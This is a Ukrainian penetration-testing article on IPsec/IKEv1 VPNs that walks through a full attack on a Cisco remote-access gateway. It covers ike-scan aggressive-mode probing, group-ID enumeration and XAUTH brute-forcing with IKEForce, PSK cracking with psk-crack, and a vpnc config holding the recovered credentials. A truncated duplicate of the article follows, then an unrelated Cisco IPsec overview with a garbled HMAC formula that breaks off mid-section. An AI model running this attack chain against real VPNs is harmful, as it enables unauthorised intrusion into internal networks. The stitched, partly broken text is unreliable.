IPsec VPN. Основи. Анатомія IPsec. Перевіряємо на міцність легендарний протокол

У сучасному світірізні технології VPN використовуються повсюдно. Деякі (наприклад, PPTP) з часом визнаються небезпечними та поступово відмирають, інші (OpenVPN), навпаки, з кожним роком нарощують оберти. Але беззмінним лідером і найвідомішою технологією для створення та підтримки захищених приватних каналів, як і раніше, залишається IPsec VPN. Іноді при пентесті можна виявити серйозно захищену мережу з п'ятисотим UDP-портом, що стирчить назовні. Все інше може бути закрите, пропатчене та надійно фільтруватися.

У такій ситуації може виникнути думка, що тут і робити особливо нічого. Але це завжди так. Крім того, поширена думка, що IPsec навіть у дефолтних конфігураціях неприступний і забезпечує належний рівень безпеки. Саме таку ситуацію сьогодні й подивимось на ділі. Але спочатку, щоб максимально ефективно боротися з IPsec, потрібно розібратися, що він є і як працює. Цим і займемося!

IPsec зсередини

Перед тим як переходити безпосередньо до самого IPsec, непогано згадати, які взагалі бувають типи VPN. Класифікацій VPN безліч, але ми не будемо глибоко занурюватися в мережеві технології і візьмемо найпростішу. Тому ділитимемо VPN на два основні типи - site-to-site VPN-підключення (їх ще можна назвати постійні) та remote access VPN (RA, вони ж тимчасові).

Перший тип служить для постійного зв'язку різних мережевих острівців, наприклад, центрального офісу з безліччю розкиданих філій. Ну а RA VPN є сценарієм, коли клієнт підключається на невеликий проміжок часу, отримує доступ до певних мережевих ресурсів і після завершення роботи благополучно відключається.

Нас буде цікавити саме другий варіант, тому що у разі успішної атаки вдається одразу отримати доступ до внутрішньої мережі підприємства, що для пентестера досить серйозне досягнення. IPsec, своєю чергою, дозволяє реалізовувати як site-to-site, і remote access VPN. Що ж це за технологія та з яких компонентів вона складається?

Варто зазначити, що IPsec - це не один, а цілий набір різних протоколів, які забезпечують прозору та безпечний захистданих. Специфіка IPsec полягає в тому, що він реалізується на мережному рівні, доповнюючи його таким чином, щоб для наступних рівнів все відбувалося непомітно. Основна складність у тому, що у процесі встановлення з'єднання двом учасникам захищеного каналу необхідно узгодити досить багато різних параметрів. А саме - вони повинні аутентифікувати один одного, згенерувати та обмінятися ключами (причому через недовірене середовище), а також домовитися за допомогою яких протоколів шифрувати дані.

Саме з цієї причини IPsec і складається зі стеку протоколів, обов'язок яких полягає в тому, щоб забезпечити встановлення захищеного з'єднання, його роботу та управління ним. Весь процес встановлення з'єднання включає дві фази: перша фаза застосовується для забезпечення безпечного обміну ISAKMP-повідомлень вже в другій фазі. ISAKMP ( Internet Security Association and Key Management Protocol - це протокол, який слугує для узгодження та оновлення політик безпеки (SA) між учасниками VPN-з'єднання. У цих політиках і зазначено, за допомогою якого протоколу шифрувати (AES або 3DES) і за допомогою чого аутентифікувати (SHA або MD5).

Дві основні фази IPsec

Отже, ми з'ясували, що спочатку учасникам потрібно домовитися, за допомогою яких механізмів буде створено захищене з'єднання, тому тепер вступає у справу протокол IKE. IKE (Internet Key Exchange) використовується для формування IPsec SA (Security Association, самі політики безпеки), простіше кажучи - узгодження роботи учасників захищеного з'єднання. Через цей протокол учасники домовляються, який алгоритм шифрування буде застосований, за яким алгоритмом проводитиметься перевірка цілісності та як аутентифікувати один одного. Потрібно зауважити, що на сьогоднішній день існує дві версії протоколу: IKEv1 та IKEv2. Нас цікавитиме лише IKEv1: незважаючи на те, що IETF (The Internet Engineering Task Force) вперше представили його в 1998 році, він, як і раніше, ще дуже часто використовується, особливо для RA VPN (див. рис. 1).

Мал. 1. Cisco ASDM VPN Wizard

Що стосується IKEv2, перші його начерки були зроблені в 2005 році, повністю описаний він був у RFC 5996 (2010 рік), і лише наприкінці минулого року він був оголошений на роль стандарту Інтернет (RFC 7296). Більш докладно про різницю між IKEv1 і IKEv2 можна прочитати у врізанні. Розібравшись із IKE, повертаємося до фаз IPsec. У процесі першої фази учасники аутентифікують один одного і домовляються про параметри встановлення спеціального з'єднання, призначеного тільки для обміну інформацією про бажані алгоритми шифрування та інші деталі майбутнього IPsec-тунелю. Параметри першого тунелю (який ще називається ISAKMP-тунель) визначаються політикою ISAKMP. Насамперед узгоджуються хеші та алгоритми шифрування, далі йде обмін ключами Діффі-Хеллмана (DH), і лише потім відбувається з'ясування, хто є хто. Тобто в останню чергу йде процес аутентифікації, або PSK-, або по RSA-ключу. І якщо сторони дійшли згоди, то встановлюється ISAKMP-тунель, яким вже проходить друга фаза IKE.

На другій фазі учасники, що вже довіряють один одному, домовляються про те, як будувати основний тунель для передачі безпосередньо даних. Вони пропонують один одному варіанти, зазначені в параметрі transform-set, і, якщо дійдуть згоди, піднімають основний тунель. Важливо підкреслити, що після встановлення допоміжний ISAKMP-тунель нікуди не подіється - він використовується для періодичного оновлення SA основного тунелю. У результаті IPsec певною мірою встановлює не один, а цілих два тунелі.

Як обробляти дані

Тепер кілька слів про transform-set. Адже треба якось шифрувати дані, що йдуть через тунель. Тому в типовій конфігурації transform-set є набором параметрів, в яких явно вказано, як потрібно обробляти пакет. Відповідно, існує два варіанти такої обробки даних – це протоколи ESP та AH. ESP (Encapsulating Security Payload) безпосередньо займається шифруванням даних, а також може забезпечувати перевірку цілісності даних. AH (Authentication Header), у свою чергу, відповідає лише за автентифікацію джерела та перевірку цілісності даних.

Наприклад, команда crypto ipsec transform-set SET10 esp-aes вкаже роутеру, що transform-set з ім'ям SET10 повинен працювати тільки за протоколом ESP і з шифруванням за алгоритмом AES. Забігаючи вперед, скажу, що тут і далі ми будемо використовувати як мету маршрутизатори та файрволи компанії Cisco. Власне з ESP все більш-менш зрозуміло, його справа – шифрувати і цим забезпечувати конфіденційність, але навіщо тоді потрібен AH? AH забезпечує аутентифікацію даних, тобто підтверджує, що ці дані прийшли саме від того, з ким ми встановили зв'язок і не були змінені дорогою. Він забезпечує те, що іноді називається anti-replay захистом. У сучасних мережах AH практично не використовується, скрізь можна зустріти лише ESP.

Параметри (вони ж SA), які вибираються для шифрування інформації в IPsec-тунелі, мають час життя, після якого повинні бути замінені. За замовчуванням параметр lifetime IPsec SA становить 86400 с, або 24 год.

У результаті учасники отримали шифрований тунель з параметрами, які їх влаштовують, і направляють туди потоки даних, що підлягають шифруванню. Періодично, відповідно до lifetime, оновлюються ключі шифрування для основного тунелю: учасники знову зв'язуються ISAKMP-тунелем, проходять другу фазу і заново встановлюють SA.

Режими IKEv1

Ми розглянули у першому наближенні основну механіку роботи IPsec, але необхідно загострити увагу ще кількох речах. Перша фаза, окрім іншого, може працювати у двох режимах: main mode або aggressive mode. Перший варіант ми вже розглянули вище, але нас цікавить якраз aggressive mode. У цьому режимі використовується три повідомлення (замість шести у main-режимі). При цьому той, хто ініціює з'єднання, віддає всі свої дані одночасно - що він хоче і що вміє, а також свою частину обміну DH. Потім сторона у відповідь відразу завершує свою частину генерації DH. У результаті в цьому режимі, по суті, лише два етапи. Тобто перші два етапи з main mode (узгодження хешей та обмін DH) як би спресовуються в один. В результаті цей режим значно небезпечніший з тієї причини, що у відповідь надходить багато технічної інформації в plaintext'і. І найголовніше – VPN-шлюз може надіслати хеш пароля, який використовується для аутентифікації на першій фазі (цей пароль ще часто називається pre-shared key або PSK).

Ну а все наступне шифрування відбувається без змін, як завжди. Чому тоді цей режим як і раніше використовується? Справа в тому, що він набагато швидший, приблизно вдвічі. Окремий інтерес для пентестера представляє той факт, що aggressive-режим дуже часто використовується в RA IPsec VPN. Ще одна невелика особливість RA IPsec VPN при використанні агресивного режиму: коли клієнт звертається до сервера, він надсилає йому ідентифікатор (ім'я групи). Tunnel group name (див. рис. 2) - це ім'я запису, що містить у собі набір політик для даного IPsec-підключення. Це вже одна з фіч, специфічних обладнання Cisco.

Мал. 2. Tunnel group name

Двох фаз виявилося недостатньо

Здавалося б, що виходить і так не надто проста схемароботи, але насправді все ще трохи складніше. Згодом стало зрозуміло, що лише одного PSK недостатньо для забезпечення безпеки. Наприклад, у разі компрометації робочої станції співробітника атакуючий зміг би одразу отримати доступ до всієї внутрішньої мережі підприємства. Тому була розроблена фаза 1.5 прямо між першою та другою класичними фазами. До речі, ця фаза зазвичай не використовується у стандартному site-to-site VPN-з'єднанні, а застосовується при організації віддалених VPN-підключень (наш випадок). Ця фаза містить два нових розширення - Extended Authentication (XAUTH) і Mode-Configuration (MODECFG).

XAUTH – це додаткова автентифікація користувачів у межах IKE-протоколу. Цю аутентифікацію ще іноді називають другим фактором IPsec. Ну а MODECFG служить для передачі додаткової інформаціїклієнту, це може бути IP-адреса, маска, DNS-сервер та інше. Видно, що ця фаза просто доповнює розглянуті раніше, але корисність її безсумнівна.

IKEv2 vs IKEv1
Обидва протоколи працюють за UDP-портом з номером 500, але між собою несумісні, не допускається ситуація, щоб на одному кінці тунелю був IKEv1, а на іншому - IKEv2. Ось основні відмінності другої версії від першої:
У IKEv2 більше немає таких понять, як aggressive або main-режими.
- У IKEv2 термін перша фаза замінений на IKE_SA_INIT (обмін двома повідомленнями, що забезпечує узгодження протоколів шифрування/хешування та генерацію ключів DH), а друга фаза - на IKE_AUTH (теж два повідомлення, що реалізують власне автентифікацію).
- Mode Config (те, що у IKEv1 називалося фаза 1.5) тепер описаний у специфікації протоколу і його невід'ємною частиною.
- До IKEv2 додався додатковий механізм захисту від DoS-атак. Суть його в тому, що перш, ніж відповідати на кожен запит у встановленні захищеного з'єднання (IKE_SA_INIT) IKEv2, VPN-шлюз шле джерелу такого запиту якийсь cookie і чекає на відповідь. Якщо джерело відповіло – все гаразд, можна починати з ним генерацію DH. Якщо джерело не відповідає (у випадку з DoS-атакою так і відбувається, ця техніка нагадує TCP SYN flood), то VPN-шлюз просто забуває про нього. Без цього механізму при кожному запиті від будь-кого VPN-шлюз би намагався згенерувати DH-ключ (що досить ресурсомісткий процес) і незабаром зіткнувся б з проблемами. У результаті за рахунок того, що всі операції тепер вимагають підтвердження від іншої сторони з'єднання, на пристрої, що атакується, не можна створити велику кількість напіввідкритих сесій.

Виходимо на кордон

Нарешті, розібравшись з особливостями роботи IPsec та його компонентів, можна переходити до головного - до практичних атак. Топологія буде досить простою і водночас наближеною до реальності (див. рис. 3).

Мал. 3. Загальна схема мережі

Насамперед потрібно визначити наявність IPsec VPN шлюзу. Зробити це можна, провівши сканування портів, але є невелика особливість. ISAKMP використовує протокол UDP, порт 500, а тим часом дефолтне сканування за допомогою Nmap зачіпає лише порти TCP. І в результаті буде повідомлення: "All 1000 scanned ports on 37.59.0.253 are filtered".

Складається враження, що всі порти фільтруються і відкритих портів немає. Але виконавши команду

Nmap -sU --top-ports=20 37.59.0.253 Starting Nmap 6.47 (http://nmap.org) at 2015-03-21 12:29 GMT . PORT STATE SERVICE 500/udp open isakmp
переконуємось у тому, що це не так і перед нами справді VPN-пристрій.

Атакуємо першу фазу

Тепер нас цікавитиме перша фаза, aggressive-режим та автентифікація з використанням pre-shared key (PSK). У цьому сценарії, як ми пам'ятаємо, VPN-пристрій або сторона, що відповідає, відправляє хешований PSK ініціатору. Одна з найвідоміших утиліт для тестування протоколу IKE – це ike-scan, вона входить до складу дистрибутива Kali Linux. Ike-scan дозволяє відправляти IKE повідомлення з різними параметрами і, відповідно, декодити і парсувати пакети у відповідь. Пробуємо промацати цільовий пристрій:

Root@kali:~# ike-scan -M -A 37.59.0.253 0 returned handshake; 0 returned notify

Мал. 4. Ike-scan aggressive mode

Ключ `-A` вказує на те, що потрібно використовувати aggressive-режим, а `-M` говорить про те, що результати слід виводити рядково (multiline), для більш зручного читання. Видно, що жодного результату не було отримано. Причина полягає в тому, що необхідно вказати цей ідентифікатор, ім'я VPN-групи. Зрозуміло, утиліта ike-scan дозволяє задавати цей ідентифікатор як один зі своїх параметрів. Але оскільки він нам невідомий, візьмемо довільне значення, наприклад 0000.

Root@kali:~# ike-scan -M -A --id=0000 37.59.0.253 37.59.0.253 Aggressive Mode Handshake returned

Мал. 5. Ike-scan ID

На цей раз бачимо, що відповідь була отримана (див. рис. 5) і нам було надано досить багато корисної інформації. Досить важлива частина отриманої інформації – це transform-set. У нашому випадку там зазначено, що "Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK".

Всі ці параметри можна вказувати і для утиліти ike-scan за допомогою ключа `-trans`. Наприклад `-trans=5,2,1,2` буде говорити про те, що алгоритм шифрування 3DES, хешування HMAC-SHA, метод аутентифікації PSK і другий тип групи DH (1024-bit MODP). Подивитися таблиці відповідності значень можна за цією адресою. Додамо ще один ключ (`-P`), щоб вивести безпосередньо пейлоад пакета, а точніше хеш PSK.

Root@kali:~# ike-scan -M -A --id=0000 37.59.0.253 -P

Мал. 6. Ike-scan payload

Подолаємо перші складнощі

Здавалося б, хеш отримано і можна пробувати його лаяти, але все не так просто. Колись дуже давно, у 2005 році, на деяких залізцях Сisco була вразливість: ці пристрої віддавали хеш, лише якщо атакуючий передавав коректне значення ID. Зараз, природно, зустріти таке обладнання практично неможливо і хешоване значення надсилається завжди незалежно від того, правильне значення ID відправив атакуючий чи ні. Очевидно, що брутувати неправильний хеш безглуздо. Тому перше завдання - визначити коректне значення ID, щоб отримати правильний хеш. І в цьому нам допоможе нещодавно виявлена вразливість.

Справа в тому, що існує невелика різниця між відповідями під час початкового обміну повідомленнями. Якщо коротко, то при використанні правильного імені групи відбувається чотири спроби продовжити встановлення VPN-з'єднання плюс два зашифровані пакети другої фази. У той час як у разі неправильного ID у відповідь прилітає лише два пакети. Як бачимо, різниця досить суттєва, тому компанія SpiderLabs (автор не менш цікавого інструменту Responder) розробила спочатку PoC, а потім утиліту IKEForce для експлуатації цієї вразливості.

У чому сила IKE

Встановити IKEForce у довільний каталог можна, виконавши команду

Git clone https://github.com/SpiderLabs/ikeforce
Працює вона у двох основних режимах - режимі обчислення `-e` (enumeration) та режимі брутфорсу `-b` (bruteforce). До другого ми ще дійдемо, коли дивитимемося атаки на другий фактор, а ось першим зараз і займемося. Перед тим, як розпочати безпосередньо процес визначення ID, необхідно встановити точне значення transform-set. Ми його вже визначили раніше, тому вказуватимемо опцією `-t 5 2 1 2`. У результаті виглядатиме процес знаходження ID буде наступним чином:

Python ikeforce.py 37.59.0.253 -e -w wordlists/group.txt -t 5 2 1 2

Мал. 7. IKEForce enumeration

Внаслідок цього досить швидко вдалося отримати коректне значення ID (рис. 7). Перший крок пройдено, можна рухатися далі.

Отримуємо PSK

Тепер необхідно, використовуючи правильне ім'я групи, зберегти PSK-хеш у файл, зробити це можна за допомогою ike-scan:

Ike-scan -M -A --id=vpn 37.59.0.253 -Pkey.psk
І тепер, коли правильне значення ID було підібрано і вдалося отримати коректний хеш PSK, ми можемо почати офлайн-брутфорс. Варіантів такого брутфорсу досить багато - це і класична утиліта psk-crack, і John the Ripper (з jumbo-патчем), і навіть oclHashcat, який, як відомо, дозволяє використовувати потужність GPU. Для простоти будемо використовувати psk-crack, який підтримує як прямий брутфорс, так і атаку за словником:

Psk-crack -d /usr/share/ike-scan/psk-crack-dictionary key.psk

Мал. 8. Psk-crack

Але навіть успішно відновити PSK (див. рис. 8) – це лише половина справи. На цьому етапі слід згадати про те, що далі на нас чекає XAUTH і другий фактор IPsec VPN.

Розправляємось з другим фактором IPsec

Отже, нагадаю, що XAUTH - це додатковий захист, другий фактор аутентифікації, і він знаходиться на фазі 1.5. Варіантів XAUTH може бути кілька - це і перевірка протоколу RADIUS, і одноразові паролі (OTP), і звичайна локальна база користувачів. Ми зупинимося на стандартної ситуаціїколи для перевірки другого фактора використовується локальна база користувачів. Донедавна не існувало інструменту у публічному доступі для брутфорсу XAUTH. Але з появою IKEForce це завдання отримало гідне рішення. Запускається брутфорс XAUTH досить просто:

python ikeforce.py 37.59.0.253 -b -i vpn -k cisco123 -u admin -w wordlists/passwd.txt -t 5 2 1 2 [+] passwords for user: admin [*]XAUTH Authentication Successful! Username: admin Password: cisco

Мал. 9. IKEForce XAUTH

При цьому вказуються всі знайдені раніше значення: ID (ключ `-i`), відновлений PSK (ключ `-k`) та передбачуваний логін (ключ `-u`). IKEForce підтримує як грубий перебір логіну, так і перебір за списком логінів, який може бути задано параметром `-U`. На випадок можливих блокувань підбору є опція `-s`, що дозволяє зменшити швидкість брутфорсу. До речі, у комплекті з утилітою йдуть кілька непоганих словників, особливо корисних для встановлення значення ID.

Входимо у внутрішню мережу

Тепер, коли ми маємо всі дані, залишається останній крок - власне проникнення в локальну мережу. Для цього нам знадобиться якийсь VPN-клієнт, яких безліч. Але у випадку Kali можна без проблем скористатися вже встановленим - VPNC. Для того, щоб він запрацював, потрібно підкоригувати один конфігураційний файл- `/etc/vpnc/vpn.conf`. Якщо його немає, то потрібно створити та заповнити ряд очевидних параметрів:

IPSec gateway 37.59.0.253
IPSec ID vpn
IPSec secret cisco123
IKE Authmode psk
Xauth Username admin
Xauth password cisco

Тут бачимо, що було використано абсолютно всі знайдені попередніх кроках дані - значення ID, PSK, логін і пароль другого чинника. Після цього саме підключення відбувається однією командою:

Root@kali:~# vpnc vpn
Відключення теж досить просте:

Root@kali:~# vpnc-disconnect
Перевірити працездатність підключення можна за допомогою команди `ifconfig tun0`.

Мал. 10. VPNC

Як побудувати надійний захист

Захист від розглянутих сьогодні атак має бути комплексним: потрібно вчасно встановлювати патчі, використовувати стійкі pre-shared ключі, які по можливості мають бути замінені на цифрові сертифікати. Парольна політика та інші очевидні елементи ІБ також відіграють важливу роль у справі забезпечення безпеки. Не можна не відзначити і той факт, що ситуація поступово змінюється, і згодом залишиться лише IKEv2.

Що в результаті

Ми розглянули процес аудиту RA IPsec VPN у всіх подробицях. Так, безумовно, це завдання далеко не тривіальне. Потрібно зробити чимало кроків, і на кожному з них можуть чекати труднощі, зате у разі успіху результат більш ніж вражаючий. Отримання доступу до внутрішніх ресурсів мережі відкриває найширший простір подальших дій. Тому тим, хто відповідає за захист мережевого периметра, необхідно не розраховувати на готові дефолтні шаблони, а ретельно продумувати кожен безпековий шар. Ну, а для тих, хто проводить пентести, виявлений п'ятисотий порт UDP - це привід провести глибокий аналіз захищеності IPsec VPN і, можливо, отримати непогані результати.

Підпишись на «Хакер»

У світі різні VPN-технології використовуються повсюдно. Деякі (наприклад, PPTP) з часом визнаються небезпечними та поступово відмирають, інші (OpenVPN), навпаки, з кожним роком нарощують оберти. Але беззмінним лідером і найвідомішою технологією для створення та підтримки захищених приватних каналів, як і раніше, залишається IPsec VPN. Іноді при пентесті можна виявити серйозно захищену мережу з п'ятисотим UDP-портом, що стирчить назовні. Все інше може бути закрите, пропатчене та надійно фільтруватися.

IPsec зсередини

Варто зазначити, що IPsec – це не один, а цілий набір різних протоколів, які забезпечують прозорий та безпечний захист даних. Специфіка IPsec полягає в тому, що він реалізується на мережному рівні, доповнюючи його таким чином, щоб для наступних рівнів все відбувалося непомітно. Основна складність у тому, що у процесі встановлення з'єднання двом учасникам захищеного каналу необхідно узгодити досить багато різних параметрів. А саме - вони повинні аутентифікувати один одного, згенерувати та обмінятися ключами (причому через недовірене середовище), а також домовитися за допомогою яких протоколів шифрувати дані.

Саме з цієї причини IPsec і складається зі стеку протоколів, обов'язок яких полягає в тому, щоб забезпечити встановлення захищеного з'єднання, його роботу та управління ним. Весь процес встановлення з'єднання включає дві фази: перша фаза застосовується для забезпечення безпечного обміну ISAKMP-повідомлень вже в другій фазі. ISAKMP (Internet Security Association and Key Management Protocol) – це протокол, який слугує для узгодження та оновлення політик безпеки (SA) між учасниками VPN-з'єднання. У цих політиках і зазначено, за допомогою якого протоколу шифрувати (AES або 3DES) і за допомогою чого аутентифікувати (SHA або MD5).

Дві основні фази IPsec

Мал. 1. Cisco ASDM VPN Wizard

Як обробляти дані

Режими IKEv1

Мал. 2. Tunnel group name

Двох фаз виявилося недостатньо

Здавалося б, що виходить і так не дуже проста схема роботи, але насправді все ще трохи складніше. Згодом стало зрозуміло, що лише одного PSK недостатньо для забезпечення безпеки. Наприклад, у разі компрометації робочої станції співробітника атакуючий зміг би одразу отримати доступ до всієї внутрішньої мережі підприємства. Тому була розроблена фаза 1.5 прямо між першою та другою класичними фазами. До речі, ця фаза зазвичай не використовується у стандартному site-to-site VPN-з'єднанні, а застосовується при організації віддалених VPN-підключень (наш випадок). Ця фаза містить два нових розширення - Extended Authentication (XAUTH) і Mode-Configuration (MODECFG).

XAUTH – це додаткова автентифікація користувачів у межах IKE-протоколу. Цю аутентифікацію ще іноді називають другим фактором IPsec. Ну а MODECFG служить для передачі додаткової інформації клієнту, це може бути IP-адреса, маска, DNS-сервер та інше. Видно, що ця фаза просто доповнює розглянуті раніше, але корисність її безсумнівна.

IKEv2 vs IKEv1
Обидва протоколи працюють за UDP-портом з номером 500, але між собою несумісні, не допускається ситуація, щоб на одному кінці тунелю був IKEv1, а на іншому - IKEv2. Ось основні відмінності другої версії від першої:
У IKEv2 більше немає таких понять, як aggressive або main-режими.
- У IKEv2 термін перша фаза замінений на IKE_SA_INIT (обмін двома повідомленнями, що забезпечує узгодження протоколів шифрування/хешування та генерацію ключів DH), а друга фаза - на IKE_AUTH (теж два повідомлення, що реалізують власне автентифікацію).
- Mode Config (те, що у IKEv1 називалося фаза 1.5) тепер описаний у специфікації протоколу і його невід'ємною частиною.
- До IKEv2 додався додатковий механізм захисту від DoS-атак. Суть його в тому, що перш, ніж відповідати на кожен запит у встановленні захищеного з'єднання (IKE_SA_INIT) IKEv2, VPN-шлюз шле джерелу такого запиту якийсь cookie і чекає на відповідь. Якщо джерело відповіло – все гаразд, можна починати з ним генерацію DH. Якщо джерело не відповідає (у випадку з DoS-атакою так і відбувається, ця техніка нагадує TCP SYN flood), то VPN-шлюз просто забуває про нього. Без цього механізму при кожному запиті від будь-кого VPN-шлюз би намагався згенерувати DH-ключ (що досить ресурсомісткий процес) і незабаром зіткнувся б з проблемами. У результаті за рахунок того, що всі операції тепер вимагають підтвердження від іншої сторони з'єднання, на пристрої, що атакується, не можна створити велику кількість напіввідкритих сесій.

Виходимо на кордон

Мал. 3. Загальна схема мережі

Складається враження, що всі порти фільтруються і відкритих портів немає. Але виконавши команду

Атакуємо першу фазу

Root@kali:~# ike-scan -M -A 37.59.0.253 0 returned handshake; 0 returned notify

Мал. 4. Ike-scan aggressive mode

Root@kali:~# ike-scan -M -A --id=0000 37.59.0.253 37.59.0.253 Aggressive Mode Handshake returned

Мал. 5. Ike-scan ID

Root@kali:~# ike-scan -M -A --id=0000 37.59.0.253 -P

Мал. 6. Ike-scan payload

Подолаємо перші складнощі

У чому сила IKE

Встановити IKEForce у довільний каталог можна, виконавши команду

Python ikeforce.py 37.59.0.253 -e -w wordlists/group.txt -t 5 2 1 2

Мал. 7. IKEForce enumeration

Отримуємо PSK

Psk-crack -d /usr/share/ike-scan/psk-crack-dictionary key.psk

Мал. 8. Psk-crack

Розправляємось з другим фактором IPsec

Отже, нагадаю, що XAUTH - це додатковий захист, другий фактор аутентифікації, і він знаходиться на фазі 1.5. Варіантів XAUTH може бути кілька - це і перевірка протоколу RADIUS, і одноразові паролі (OTP), і звичайна локальна база користувачів. Ми зупинимося на стандартній ситуації, коли для перевірки другого фактора використовується локальна база користувачів. Донедавна не існувало інструменту у публічному доступі для брутфорсу XAUTH. Але з появою IKEForce це завдання отримало гідне рішення. Запускається брутфорс XAUTH досить просто:

Входимо у внутрішню мережу

Тепер, коли ми маємо всі дані, залишається останній крок - власне проникнення в локальну мережу. Для цього нам знадобиться якийсь VPN-клієнт, яких безліч. Але у випадку Kali можна без проблем скористатися вже встановленим - VPNC. Щоб він запрацював, потрібно підкоригувати один конфігураційний файл - `/etc/vpnc/vpn.conf`. Якщо його немає, то потрібно створити та заповнити ряд очевидних параметрів:

IPSec gateway 37.59.0.253
IPSec ID vpn
IPSec secret cisco123
IKE Authmode psk
Xauth Username admin
Xauth password cisco

Root@kali:~# vpnc vpn
Відключення теж досить просте:

Root@kali:~# vpnc-disconnect
Перевірити працездатність підключення можна за допомогою команди `ifconfig tun0`.

Мал. 10. VPNC

Як побудувати надійний захист

Що в результаті

Підпишись на «Хакер»

0 У цій статті пропонується огляд засобів IPSEC (IP Security – система захисту на рівні IP) та відповідних протоколів IPSec, доступних у продуктах Cisco та використовуваних для створення віртуальних приватних мереж (VPN). У цій статті ми визначимо, що таке IPSEC, а також які протоколи та алгоритми захисту лежать в основі IPSEC.

Вступ

IP Security - це комплект протоколів, що стосуються питань шифрування, автентифікації та забезпечення захисту під час транспортування IP-пакетів; до його складу зараз входять майже 20 пропозицій щодо стандартів та 18 RFC.

Продукти Cisco для підтримки VPN використовують набір протоколів IPSec, що на сьогодні є промисловим стандартом забезпечення широких можливостей VPN. IPSec пропонує механізм захищеної передачі в IP-мережах, забезпечуючи конфіденційність, цілісність і достовірність даних, переданих через незахищені мережі типу Internet. IPSec забезпечує такі можливості VPN у мережах Cisco:

Конфіденційність даних. Відправник даних IPSec може шифрувати пакети перед тим, як передавати їх по мережі.
Цілісність даних. Отримувач даних IPSec має можливість аутентифікувати сполучені з ним сторони (пристрої або програмне забезпечення, в яких починаються і закінчуються тунелі IPSec) і пакети IPSec, що надсилаються цими сторонами, щоб бути впевненим у тому, що дані не були змінені в дорозі.
Аутентифікація джерела даних. Отримувач даних IPSec має можливість аутентифікувати джерело одержуваних пакетів IPSec. Цей сервіс залежить від сервісу цілісності даних.
Захист від відтворення. Одержувач даних IPSec може виявляти та відкидати відтворені пакети, не допускаючи їх фальсифікації та проведення атак впровадження посередника.

IPSec є заснований на стандартах набір протоколів і алгоритмів захисту. Технологія IPSec та пов'язані з нею протоколи захисту відповідають відкритим стандартам, які підтримуються групою IETF (Internet Engineering Task Force – проблемна група проектування Internet) та описані у специфікаціях RFC та проектах IETF. IPSec діє на мережному рівні, забезпечуючи захист та автентифікацію пакетів IP, що пересилаються між пристроями (сторонами) IPSec - такими як маршрутизатори Cisco, брандмауери PIX Firewall, клієнти та концентратори Cisco VPN, а також багато інших продуктів, що підтримують IPSec. Засоби підтримки IPSec допускають масштабування від найменших до великих мереж.

Асоціації захисту (Security Association, SA)

IPSec пропонує стандартний спосіб аутентифікації та шифрування з'єднань між сторонами, що повідомляються. Щоб забезпечити захист зв'язків, засоби IPSec використовують стандартні алгоритми (тобто математичні формули) шифрування та аутентифікації, які називаються перетвореннями. У IPSec використовуються відкриті стандарти узгодження ключів шифрування та керування з'єднаннями, що забезпечує можливість взаємодії між сторонами. Технологія IPSec пропонує методи, що дозволяють сторонам IPSec домовитися про узгоджене використання сервісів. Щоб вказати узгоджені параметри, IPSec використовується асоціації захисту.

Асоціація захисту(Security Association - SA) являє собою узгоджену політику або спосіб обробки даних, обмін якими передбачається між двома пристроями сполучених сторін. Однією із складових такої політики може бути алгоритм, який використовується для шифрування даних. Обидві сторони можуть використовувати один і той самий алгоритм як для шифрування, так і для дешифрування. Параметри SA, що діють, зберігаються в базі даних асоціацій захисту (Security Association Database - SAD) обох сторін.

Два комп'ютери на кожній стороні SA зберігають режим, протокол, алгоритми та ключі, що використовуються SA. Кожен SA використовується лише в одному напрямку. Для двонаправленого зв'язку потрібно два SA. Кожен SA реалізує один режим та протокол; таким чином, якщо для одного пакета необхідно використовувати два протоколи (наприклад AH і ESP), то потрібно два SA.

Протокол IKE (Internet Key Exchange – обмін Internet-ключами) є гібридним протоколом, який забезпечує спеціальний сервіс для IPSec, а саме автентифікацію сторін IPSec, узгодження параметрів асоціацій захисту IKE та IPSec, а також вибір ключів для алгоритмів шифрування, що використовуються в рамках IPSec. Протокол IKE спирається на протоколи ISAKMP (Internet Security Association and Key Management Protocol – протокол управління асоціаціями та ключами захисту в мережі Internet) та Oakley, які застосовуються для управління процесом створення та обробки ключів шифрування, що використовуються у перетвореннях IPSec. Протокол IKE застосовується також формування асоціацій захисту між потенційними сторонами IPSec.
Як IKE, так і IPSec використовують асоціації захисту, щоб вказати параметри зв'язку.
IKE підтримує набір різних примітивних функцій для використання у протоколах. Серед них можна виділити хеш-функцію та псевдовипадкову функцію (PRF).

Хеш-функція- Це функція, стійка до колізій. Під стійкістю до колізій розуміється той факт, що неможливо знайти два різні повідомлення m1 і m2, такі, що

H(m1)=H(m2), де H – хеш функція.

Що стосується псеводвипадкових функцій, то зараз замість спеціальних PRF використовується хеш функція в конструкції HMAC (HMAC - механізм автентифікації повідомлень з використанням хеш функцій). Для визначення HMAC нам знадобиться криптографічна хеш функція (позначимо її як H) та секретний ключ K. Ми припускаємо, що H є хеш функцією, де дані хешуються за допомогою процедури стиснення, що послідовно застосовується до послідовності блоків даних. Ми позначимо за B довжину таких блоків у байтах, а довжину блоків, отриманих у результаті хешування - як L (L
ipad = байт 0x36, повторений B разів;
opad = байт 0x5C, повторений B разів.

Для обчислення HMAC від даних "text" необхідно виконати таку операцію:

H(K XOR ipad, H(K XOR ipad, text))

З опису випливає, що IKE використовує для автентифікації сторін величини HASH. Зазначимо, що під HASH в даному випадку мається на увазі виключно назва Payload в ISAKMP, і ця назва не має нічого спільного зі своїм вмістом

Інфраструктура IPSec

Мережі VPN на основі IPSec можуть бути побудовані за допомогою самих різних пристроїв Cisco - маршрутизаторів Cisco, брандмауерів CiscoSecure PIX Firewall, програмного забезпечення клієнта CiscoSecure VPN та концентраторів Cisco VPN серій 3000 та 5000. Маршрутизатори Cisco мають вбудовану підтримку VPN з відповідними багатими можливостями програмного забезпечення Cisco IOS, що зменшує складність мережевих рішеньі знижує загальну вартість VPN при можливості побудови багаторівневого захисту сервісів, що надаються. Брандмауер PIX Firewall є високопродуктивним мережевим пристроєм, яке може обслуговувати кінцеві точки тунелів, забезпечуючи їм високу пропускну спроможністьі чудові функціональні можливостібрандмауер. Програмне забезпеченняклієнта CiscoSecure VPN підтримує найсуворіші вимоги VPN віддаленого доступудля операцій електронної комерції, а також додатків мобільного доступу, пропонуючи закінчену реалізацію стандартів IPSec та забезпечуючи надійну взаємодію маршрутизаторів Cisco та брандмауерів PIX Firewall.

Як працює IPSec

